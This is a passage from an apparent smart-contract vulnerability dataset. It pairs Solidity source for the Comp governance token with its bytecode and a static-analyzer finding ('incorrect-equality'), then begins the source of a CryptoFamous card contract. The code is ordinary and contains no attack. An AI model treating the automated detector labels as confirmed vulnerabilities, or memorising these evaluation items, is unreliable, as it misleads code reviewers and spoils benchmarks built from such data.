bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b919061174b565b60405180910390f35b610157610152366004611214565b6102ed565b60405161013b91906116a1565b61016c6103aa565b60405161013b91906116af565b61016c6103b9565b61015761018f3660046111c7565b6103d0565b61019c610515565b60405161013b91906117e5565b6101bc6101b7366004611167565b61051a565b60405161013b9190611693565b6101dc6101d7366004611167565b610535565b005b6101f16101ec366004611167565b610542565b60405161013b91906117bc565b61016c61020c366004611167565b61055a565b61022461021f366004611214565b61057e565b60405161013b9190611801565b61016c61023f366004611167565b610795565b61012e6107a7565b61015761025a366004611214565b6107c6565b61022461026d366004611167565b610802565b6101dc610280366004611244565b610872565b61016c61029336600461118d565b610a64565b61016c610a96565b6102b36102ae3660046112cb565b610aa2565b60405161013b9291906117ca565b6040518060400160405280601081526020016f20b6383430aa37b7b63d102a37b5b2b760811b81525081565b6000806000198314156103035750600019610328565b6103258360405180606001604052806025815260200161191d60259139610ad7565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103969085906117f3565b60405180910390a360019150505b92915050565b6a115eec47f6cf7e3500000081565b6040516103c59061167d565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b03909116928592610426928892919061191d90830139610ad7565b9050866001600160a01b0316836001600160a01b03161415801561045357506001600160601b0382811614155b156104fb57600061047d83836040518060600160405280603d81526020016119f4603d9139610b06565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104f19085906117f3565b60405180910390a3505b610506878783610b45565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b61053f3382610cf0565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105a85760405162461bcd60e51b815260040161059f9061177c565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105d65760009150506103a4565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610652576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103a4565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068d5760009150506103a4565b600060001982015b8163ffffffff168163ffffffff16111561075057600282820363ffffffff160481036106bf611124565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561072b576020015194506103a49350505050565b805163ffffffff1687111561074257819350610749565b6001820392505b5050610695565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600381526020016210531560ea1b81525081565b6000806107eb8360405180606001604052806026815260200161194260269139610ad7565b90506107f8338583610b45565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff168061082d57600061050e565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108809061167d565b60408051918290038220828201909152601082526f20b6383430aa37b7b63d102a37b5b2b760811b6020909201919091527f6518abe5bb849ad60b2c0425abfca5befb7c42496598336dacf270f956b8e5376108da610d7a565b306040516020016108ee94939291906116fb565b604051602081830303815290604052805190602001209050600060405161091490611688565b60405190819003812061092f918a908a908a906020016116bd565b6040516020818303038152906040528051906020012090506000828260405160200161095c92919061164c565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109999493929190611730565b6020604051602081039080840390855afa1580156109bb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109ee5760405162461bcd60e51b815260040161059f9061175c565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a2d5760405162461bcd60e51b815260040161059f9061178c565b87421115610a4d5760405162461bcd60e51b815260040161059f9061176c565b610a57818b610cf0565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103c590611688565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610afe5760405162461bcd60e51b815260040161059f919061174b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b3d5760405162461bcd60e51b815260040161059f919061174b565b505050900390565b6001600160a01b038316610b6b5760405162461bcd60e51b815260040161059f906117ac565b6001600160a01b038216610b915760405162461bcd60e51b815260040161059f9061179c565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bdc936001600160601b0390921692859291906118e790830139610b06565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c4494919091169285929091906119c490830139610d7e565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb19085906117f3565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610ceb92918216911683610dba565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d74828483610dba565b50505050565b4690565b6000838301826001600160601b038087169083161015610db15760405162461bcd60e51b815260040161059f919061174b565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610de557506000816001600160601b0316115b15610ceb576001600160a01b03831615610e9d576001600160a01b03831660009081526004602052604081205463ffffffff169081610e25576000610e64565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e8b828560405180606001604052806028815260200161199c60289139610b06565b9050610e9986848484610f48565b5050505b6001600160a01b03821615610ceb576001600160a01b03821660009081526004602052604081205463ffffffff169081610ed8576000610f17565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f3e8285604051806060016040528060278152602001611a3160279139610d7e565b9050610a5c858484845b6000610f6c43604051806060016040528060348152602001611968603491396110fd565b905060008463ffffffff16118015610fb557506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611014576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110b3565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110ee92919061180f565b60405180910390a25050505050565b600081600160201b8410610afe5760405162461bcd60e51b815260040161059f919061174b565b604080518082019091526000808252602082015290565b80356103a4816118b7565b80356103a4816118cb565b80356103a4816118d4565b80356103a4816118dd565b60006020828403121561117957600080fd5b6000611185848461113b565b949350505050565b600080604083850312156111a057600080fd5b60006111ac858561113b565b92505060206111bd8582860161113b565b9150509250929050565b6000806000606084860312156111dc57600080fd5b60006111e8868661113b565b93505060206111f98682870161113b565b925050604061120a86828701611146565b9150509250925092565b6000806040838503121561122757600080fd5b6000611233858561113b565b92505060206111bd85828601611146565b60008060008060008060c0878903121561125d57600080fd5b6000611269898961113b565b965050602061127a89828a01611146565b955050604061128b89828a01611146565b945050606061129c89828a0161115c565b93505060806112ad89828a01611146565b92505060a06112be89828a01611146565b9150509295509295509295565b600080604083850312156112de57600080fd5b60006112ea858561113b565b92505060206111bd85828601611151565b6113048161183c565b82525050565b61130481611847565b6113048161184c565b6113046113288261184c565b61184c565b60006113388261182a565b611342818561182e565b9350611352818560208601611881565b61135b816118ad565b9093019392505050565b600061137260268361182e565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b60006113ba60268361182e565b7f436f6d703a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b6000611402600283611837565b61190160f01b815260020192915050565b600061142060278361182e565b7f436f6d703a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b600061146960228361182e565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b60006114ad603a8361182e565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b600061150c604383611837565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611577603c8361182e565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b60006115d6603a83611837565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6113048161185b565b61130481611864565b61130481611876565b6113048161186a565b6000611657826113f5565b9150611663828561131c565b602082019150611673828461131c565b5060200192915050565b60006103a4826114ff565b60006103a4826115c9565b602081016103a482846112fb565b602081016103a4828461130a565b602081016103a48284611313565b608081016116cb8287611313565b6116d860208301866112fb565b6116e56040830185611313565b6116f26060830184611313565b95945050505050565b608081016117098287611313565b6117166020830186611313565b6117236040830185611313565b6116f260608301846112fb565b6080810161173e8287611313565b6116d86020830186611631565b6020808252810161050e818461132d565b602080825281016103a481611365565b602080825281016103a4816113ad565b602080825281016103a481611413565b602080825281016103a48161145c565b602080825281016103a4816114a0565b602080825281016103a48161156a565b602081016103a48284611628565b604081016117d88285611628565b61050e6020830184611643565b602081016103a48284611631565b602081016103a4828461163a565b602081016103a48284611643565b6040810161181d828561163a565b61050e602083018461163a565b5190565b90815260200190565b919050565b60006103a48261184f565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103a48261186a565b60005b8381101561189c578181015183820152602001611884565b83811115610d745750506000910152565b601f01601f191690565b6118c08161183c565b811461053f57600080fd5b6118c08161184c565b6118c08161185b565b6118c08161186456fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a72315820e44d0d9289523a4144afd3ef591da047fa8f3777dda6709693cb77b8e0ce65986c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 340 |
0xf953990d2d8388bfca220141fad56e74d66184ac | pragma solidity 0.4.19;
contract Admin {
address public godAddress;
address public managerAddress;
address public bursarAddress;
// God has more priviledges than other admins
modifier requireGod() {
require(msg.sender == godAddress);
_;
}
modifier requireManager() {
require(msg.sender == managerAddress);
_;
}
modifier requireAdmin() {
require(msg.sender == managerAddress || msg.sender == godAddress);
_;
}
modifier requireBursar() {
require(msg.sender == bursarAddress);
_;
}
/// @notice Assigns a new address to act as the God. Only available to the current God.
/// @param _newGod The address of the new God
function setGod(address _newGod) external requireGod {
require(_newGod != address(0));
godAddress = _newGod;
}
/// @notice Assigns a new address to act as the Manager. Only available to the current God.
/// @param _newManager The address of the new Manager
function setManager(address _newManager) external requireGod {
require(_newManager != address(0));
managerAddress = _newManager;
}
/// @notice Assigns a new address to act as the Bursar. Only available to the current God.
/// @param _newBursar The address of the new Bursar
function setBursar(address _newBursar) external requireGod {
require(_newBursar != address(0));
bursarAddress = _newBursar;
}
/// @notice !!! COMPLETELY DESTROYS THE CONTRACT !!!
function destroy() external requireGod {
selfdestruct(godAddress);
}
}
contract Pausable is Admin {
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external requireAdmin whenNotPaused {
paused = true;
}
function unpause() external requireGod whenPaused {
paused = false;
}
}
contract CryptoFamousBase is Pausable {
// DATA TYPES
struct Card {
// Social network type id (1 - Twitter, others TBD)
uint8 socialNetworkType;
// The social network id of the social account backing this card.
uint64 socialId;
// The ethereum address that most recently claimed this card.
address claimer;
// Increased whenever the card is claimed by an address
uint16 claimNonce;
// Reserved for future use
uint8 reserved1;
}
struct SaleInfo {
uint128 timestamp;
uint128 price;
}
}
contract CryptoFamousOwnership is CryptoFamousBase {
// EVENTS
/// @dev emitted when a new Card is created. Can happen when a social identity is claimed or stolen for the first time.
event CardCreated(uint256 indexed cardId, uint8 socialNetworkType, uint64 socialId, address claimer, address indexed owner);
// STORAGE
/// @dev contains all the Cards in the system. Card with ID 0 is invalid.
Card[] public allCards;
/// @dev SocialNetworkType -> (SocialId -> CardId)
mapping (uint8 => mapping (uint64 => uint256)) private socialIdentityMappings;
/// @dev getter for `socialIdentityMappings`
function socialIdentityToCardId(uint256 _socialNetworkType, uint256 _socialId) public view returns (uint256 cardId) {
uint8 _socialNetworkType8 = uint8(_socialNetworkType);
require(_socialNetworkType == uint256(_socialNetworkType8));
uint64 _socialId64 = uint64(_socialId);
require(_socialId == uint256(_socialId64));
cardId = socialIdentityMappings[_socialNetworkType8][_socialId64];
return cardId;
}
mapping (uint8 => mapping (address => uint256)) private claimerAddressToCardIdMappings;
/// @dev returns the last Card ID claimed by `_claimerAddress` in network with `_socialNetworkType`
function lookUpClaimerAddress(uint256 _socialNetworkType, address _claimerAddress) public view returns (uint256 cardId) {
uint8 _socialNetworkType8 = uint8(_socialNetworkType);
require(_socialNetworkType == uint256(_socialNetworkType8));
cardId = claimerAddressToCardIdMappings[_socialNetworkType8][_claimerAddress];
return cardId;
}
/// @dev A mapping from Card ID to the timestamp of the first completed Claim of that Card
mapping (uint256 => uint128) public cardIdToFirstClaimTimestamp;
/// @dev A mapping from Card ID to the current owner address of that Card
mapping (uint256 => address) public cardIdToOwner;
/// @dev A mapping from owner address to the number of Cards currently owned by it
mapping (address => uint256) internal ownerAddressToCardCount;
function _changeOwnership(address _from, address _to, uint256 _cardId) internal whenNotPaused {
ownerAddressToCardCount[_to]++;
cardIdToOwner[_cardId] = _to;
if (_from != address(0)) {
ownerAddressToCardCount[_from]--;
}
}
function _recordFirstClaimTimestamp(uint256 _cardId) internal {
cardIdToFirstClaimTimestamp[_cardId] = uint128(now); //solhint-disable-line not-rely-on-time
}
function _createCard(
uint256 _socialNetworkType,
uint256 _socialId,
address _owner,
address _claimer
)
internal
whenNotPaused
returns (uint256)
{
uint8 _socialNetworkType8 = uint8(_socialNetworkType);
require(_socialNetworkType == uint256(_socialNetworkType8));
uint64 _socialId64 = uint64(_socialId);
require(_socialId == uint256(_socialId64));
uint16 claimNonce = 0;
if (_claimer != address(0)) {
claimNonce = 1;
}
Card memory _card = Card({
socialNetworkType: _socialNetworkType8,
socialId: _socialId64,
claimer: _claimer,
claimNonce: claimNonce,
reserved1: 0
});
uint256 newCardId = allCards.push(_card) - 1;
socialIdentityMappings[_socialNetworkType8][_socialId64] = newCardId;
if (_claimer != address(0)) {
claimerAddressToCardIdMappings[_socialNetworkType8][_claimer] = newCardId;
_recordFirstClaimTimestamp(newCardId);
}
// event CardCreated(uint256 indexed cardId, uint8 socialNetworkType, uint64 socialId, address claimer, address indexed owner);
CardCreated(
newCardId,
_socialNetworkType8,
_socialId64,
_claimer,
_owner
);
_changeOwnership(0, _owner, newCardId);
return newCardId;
}
/// @dev Returns the toal number of Cards in existence
function totalNumberOfCards() public view returns (uint) {
return allCards.length - 1;
}
/// @notice Returns a list of all Card IDs currently owned by `_owner`
/// @dev (this thing iterates, don't call from smart contract code)
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = ownerAddressToCardCount[_owner];
if (tokenCount == 0) {
return new uint256[](0);
}
uint256[] memory result = new uint256[](tokenCount);
uint256 total = totalNumberOfCards();
uint256 resultIndex = 0;
uint256 cardId;
for (cardId = 1; cardId <= total; cardId++) {
if (cardIdToOwner[cardId] == _owner) {
result[resultIndex] = cardId;
resultIndex++;
}
}
return result;
}
}
contract CryptoFamousStorage is CryptoFamousOwnership {
function CryptoFamousStorage() public {
godAddress = msg.sender;
managerAddress = msg.sender;
bursarAddress = msg.sender;
// avoid zero identifiers
_createCard(0, 0, address(0), address(0));
}
function() external payable {
// just let msg.value be added to this.balance
FallbackEtherReceived(msg.sender, msg.value);
}
event FallbackEtherReceived(address from, uint256 value);
/// @dev Only this address will be allowed to call functions marked with `requireAuthorizedLogicContract`
address public authorizedLogicContractAddress;
modifier requireAuthorizedLogicContract() {
require(msg.sender == authorizedLogicContractAddress);
_;
}
/// @dev mapping from Card ID to information about that card's last trade
mapping (uint256 => SaleInfo) public cardIdToSaleInfo;
/// @dev mapping from Card ID to the current value stashed away for a future claimer
mapping (uint256 => uint256) public cardIdToStashedPayout;
/// @dev total amount of stashed payouts
uint256 public totalStashedPayouts;
/// @dev if we fail to send any value to a Card's previous owner as part of the
/// invite/steal transaction we'll hold it in this contract. This mapping records the amount
/// owed to that "previous owner".
mapping (address => uint256) public addressToFailedOldOwnerTransferAmount;
/// @dev total amount of failed old owner transfers
uint256 public totalFailedOldOwnerTransferAmounts;
/// @dev mapping from Card ID to that card's current perk text
mapping (uint256 => string) public cardIdToPerkText;
function authorized_setCardPerkText(uint256 _cardId, string _perkText) external requireAuthorizedLogicContract {
cardIdToPerkText[_cardId] = _perkText;
}
function setAuthorizedLogicContractAddress(address _newAuthorizedLogicContractAddress) external requireGod {
authorizedLogicContractAddress = _newAuthorizedLogicContractAddress;
}
function authorized_changeOwnership(address _from, address _to, uint256 _cardId) external requireAuthorizedLogicContract {
_changeOwnership(_from, _to, _cardId);
}
function authorized_createCard(uint256 _socialNetworkType, uint256 _socialId, address _owner, address _claimer) external requireAuthorizedLogicContract returns (uint256) {
return _createCard(_socialNetworkType, _socialId, _owner, _claimer);
}
function authorized_updateSaleInfo(uint256 _cardId, uint256 _sentValue) external requireAuthorizedLogicContract {
cardIdToSaleInfo[_cardId] = SaleInfo(uint128(now), uint128(_sentValue)); // solhint-disable-line not-rely-on-time
}
function authorized_updateCardClaimerAddress(uint256 _cardId, address _claimerAddress) external requireAuthorizedLogicContract {
Card storage card = allCards[_cardId];
if (card.claimer == address(0)) {
_recordFirstClaimTimestamp(_cardId);
}
card.claimer = _claimerAddress;
card.claimNonce += 1;
}
function authorized_updateCardReserved1(uint256 _cardId, uint8 _reserved) external requireAuthorizedLogicContract {
uint8 _reserved8 = uint8(_reserved);
require(_reserved == uint256(_reserved8));
Card storage card = allCards[_cardId];
card.reserved1 = _reserved8;
}
function authorized_triggerStashedPayoutTransfer(uint256 _cardId) external requireAuthorizedLogicContract {
Card storage card = allCards[_cardId];
address claimerAddress = card.claimer;
require(claimerAddress != address(0));
uint256 stashedPayout = cardIdToStashedPayout[_cardId];
require(stashedPayout > 0);
cardIdToStashedPayout[_cardId] = 0;
totalStashedPayouts -= stashedPayout;
claimerAddress.transfer(stashedPayout);
}
function authorized_recordStashedPayout(uint256 _cardId) external payable requireAuthorizedLogicContract {
cardIdToStashedPayout[_cardId] += msg.value;
totalStashedPayouts += msg.value;
}
function authorized_recordFailedOldOwnerTransfer(address _oldOwner) external payable requireAuthorizedLogicContract {
addressToFailedOldOwnerTransferAmount[_oldOwner] += msg.value;
totalFailedOldOwnerTransferAmounts += msg.value;
}
// solhint-disable-next-line no-empty-blocks
function authorized_recordPlatformFee() external payable requireAuthorizedLogicContract {
// just let msg.value be added to this.balance
}
/// @dev returns the current contract balance after subtracting the amounts stashed away for others
function netContractBalance() public view returns (uint256 balance) {
balance = this.balance - totalStashedPayouts - totalFailedOldOwnerTransferAmounts;
return balance;
}
/// @dev the Bursar account can use this to withdraw the contract's net balance
function bursarPayOutNetContractBalance(address _to) external requireBursar {
uint256 payout = netContractBalance();
if (_to == address(0)) {
bursarAddress.transfer(payout);
} else {
_to.transfer(payout);
}
}
/// @dev Any wallet owed value that's recorded under `addressToFailedOldOwnerTransferAmount`
/// can use this function to withdraw that value.
function withdrawFailedOldOwnerTransferAmount() external whenNotPaused {
uint256 failedTransferAmount = addressToFailedOldOwnerTransferAmount[msg.sender];
require(failedTransferAmount > 0);
addressToFailedOldOwnerTransferAmount[msg.sender] = 0;
totalFailedOldOwnerTransferAmounts -= failedTransferAmount;
msg.sender.transfer(failedTransferAmount);
}
